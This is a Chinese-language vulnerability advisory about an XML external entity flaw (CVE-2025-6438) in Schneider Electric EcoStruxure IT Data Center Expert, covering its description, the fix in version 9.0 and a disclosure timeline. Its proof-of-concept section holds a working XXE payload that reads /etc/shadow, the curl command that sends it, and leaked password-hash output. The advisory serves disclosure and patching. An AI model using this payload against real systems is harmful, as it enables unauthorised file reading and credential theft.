施耐德电气EcoStruxure IT数据中心专家XML外部实体注入漏洞分析

本文详细分析了施耐德电气EcoStruxure IT数据中心专家软件中存在的XML外部实体注入漏洞(CVE-2025-6438),包括技术细节、漏洞利用方法和修复建议,涉及SOAP请求处理和文件读取等安全风险。

KL-001-2025-006: 施耐德电气EcoStruxure IT数据中心专家XML外部实体注入

1. 漏洞详情

  • 受影响厂商:施耐德电气
  • 受影响产品:EcoStruxure IT数据中心专家
  • 受影响版本:8.3及之前版本
  • 平台:CentOS
  • CWE分类:CWE-611:XML外部实体引用限制不当
  • CVE ID:CVE-2025-6438

2. 漏洞描述

“DataExchange"路由允许SOAP请求的XML主体包含对外部实体的引用。这使得未经身份验证的攻击者能够读取本地文件、执行服务器端请求伪造(SSRF)并耗尽Web服务器资源。

3. 技术描述

从已认证用户的角度,可以向”/DataExchange/DataExchangeService" Web路由发送SOAP请求,在POST主体中提供XML文档。当Web应用程序处理XML时,会不安全地解析引用外部资源(如本地文件)的实体。

“GetHistoryRequest” SOAP操作可用于通过将实体引用放置在XML文档的"Id"参数中来泄露解析后的值。生成的错误消息反映了已解析实体的值,例如本地文件的内容。

4. 缓解和修复建议

EcoStruxure IT数据中心专家9.0版本包含针对这些漏洞的修复程序,可通过施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf

5. 致谢

该漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。

6. 披露时间线

  • 2024-11-21:KoreLogic向施耐德电气CPCERT报告漏洞详情
  • 2024-11-22:厂商确认收到KoreLogic的提交
  • 2024-12-06:厂商确认报告的漏洞
  • 2024-12-12:厂商请求与KoreLogic会面讨论修复时间表
  • 2024-12-18:双方同意将漏洞详情保密至2025年7月产品更新9.0
  • 2025-01-29:厂商提供状态更新
  • 2025-03-17:厂商提供包含修复的测试版本
  • 2025-06-20:厂商通知KoreLogic公开日期为2025-07-08
  • 2025-07-08:厂商公开披露
  • 2025-07-09:KoreLogic公开披露

7. 概念验证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
[attacker@box]$ cat payload
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/shadow'>]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:ns="http://www.schneider-electric.com/common/dataexchange/2011/05">
   <soapenv:Header/>
   <soapenv:Body>
      <ns:GetHistoryRequest>
         <ns:GetHistoryParameter>
            <ns:Id>&test;</ns:Id>
         </ns:GetHistoryParameter>
         <ns:GetHistoryFilter>
         </ns:GetHistoryFilter>
      </ns:GetHistoryRequest>
   </soapenv:Body>
</soapenv:Envelope>

[attacker@box]$ curl --digest --user kore:logic \
                     -k https://dce.example.com/DataExchange/DataExchangeService \
                     -H 'Content-Type: text/xml' --data @payload

响应显示/etc/shadow文件内容:

1
2
3
4
5
6
7
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soap:Body><soap:Fault><faultcode>soap:Client</faultcode><faultstring>Invalid 
Id</faultstring><detail><Fault_Invalid_Id 
xmlns="http://www.schneider-electric.com/common/dataexchange/2011/05/DataExchangeInterface/Fault">root:$6$nAQ9/nHfzNJH2Q28$t0.KyJ810alBDwz3NGyEWNGWzQgXdrsUooT1UbXKz9SfpkHLaZngVY6oA8TVCYnCqP2boorvDsmufXawpy1T41:20021:0:99999:7:::
bin:*:19767:0:99999:7:::
daemon:*:19767:0:99999:7:::
...
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计